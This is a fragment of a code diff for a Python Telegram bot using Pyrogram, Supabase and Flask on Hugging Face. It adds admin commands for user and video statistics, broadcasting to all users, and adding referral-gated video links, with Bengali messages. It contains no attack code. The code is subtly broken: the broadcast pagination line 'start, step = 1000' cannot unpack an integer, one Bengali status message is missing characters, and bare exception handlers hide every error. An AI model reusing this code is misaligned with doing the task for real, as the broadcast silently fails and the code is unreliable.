+ @bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
411
+ async def bot_stats(client, message):
412
  try:
413
+ users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
414
+ videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
415
+ groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
416
+ stat_msg = f"📊 <b>বটের বর্তমান স্ট্যাটাস:</b>\n\n👥 মোট ইউজার: <code>{users.count or 0}</code> জন\n🎬 মোট ভিডিও: <code>{videos.count or 0}</code> টি\n📢 মোট গ্রুপ: <code>{groups.count or 0}</code> টি"
417
+ await message.reply(stat_msg, parse_mode=enums.ParseMode.HTML)
418
+ except: pass
419
+
420
+ @bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
421
+ async def broadcast_command(client, message):
422
+ admin_states[message.chat.id] = {"step": "broadcast"}
423
+ await message.reply("📢 সবার কাছে যা পাঠাতে চান দিন। (বাতিল করতে /cancel)")
424
+
425
+ async def process_broadcast(client, message):
426
+ text = message.text or message.caption
427
+ if text == '/cancel':
428
+ admin_states.pop(message.chat.id, None)
429
+ return await message.reply("❌ বাতিল করা হয়েছে।")
430
 
431
+ await message.reply("⏳ ব্স্ট শু হয়ে...")
432
+ admin_states.pop(message.chat.id, None)
433
+ try:
434
+ all_users = []
435
+ start, step = 1000
436
+ while True:
437
+ res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
438
+ if not res.data: break
439
+ all_users.extend(res.data)
440
+ start += step
441
+
442
+ success, failed = 0, 0
443
+ for u in all_users:
444
+ try:
445
+ await message.copy(chat_id=u['user_id'])
446
+ success += 1
447
+ await asyncio.sleep(0.15)
448
+ except: failed += 1
449
+
450
+ await message.reply(f"✅ ব্রডকাস্ট সম্পন্ন!\nসফল: {success}\nব্যর্থ: {failed}")
451
+ except: pass
452
+
453
+ @bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
454
+ async def add_png(client, message):
455
+ try:
456
+ parts = message.command
457
+ needed_ref = 3
458
+ duration = "random"
459
+ if len(parts) == 4 and parts[1].isdigit(): needed_ref = int(parts[1]); duration = parts[2]; thumbnail_url = parts[3]
460
+ elif len(parts) == 3 and parts[1].isdigit(): needed_ref = int(parts[1]); thumbnail_url = parts[2]
461
+ elif len(parts) == 2: thumbnail_url = parts[1]
462
+ else: return await message.reply("❌ নিয়ম ভুল।")
463
+
464
+ admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
465
+ await message.reply("✅ এখন Video/Embed Link দিন।")
466
+ except: pass
467
+
468
+ @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur"]))
469
+ async def catch_admin_steps(client, message):
470
+ state = admin_states.get(message.chat.id, {})
471
+ if state.get("step") == 1:
472
+ if not message.text: return
473
+ video_url = message.text.strip()
474
+ if video_url == "/cancel":
475
+ admin_states.pop(message.chat.id, None)
476
+ return await message.reply("❌ বাতিল করা হয়েছে।")
477
+ try:
478
+ await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
479
+ await message.reply("🎉 ভিডিও সফলভাবে অ্যাড হয়েছে!")
480
+ except: pass
481
+ finally: admin_states.pop(message.chat.id, None)
482
+ elif state.get("step") == "broadcast": await process_broadcast(client, message)
483
+
484
+ # ================= RUNNER =================
485
+ def run_flask():
486
+ # Hugging Face default port is 7860
487
+ app.run(host="0.0.0.0", port=7860)
488
 
489
  if __name__ == "__main__":
490
+ threading.Thread(target=run_flask, daemon=True).start()
491
+ print("🤖 Pyrogram Bot and Flask API are starting on Hugging Face...")
492
+ bot.run()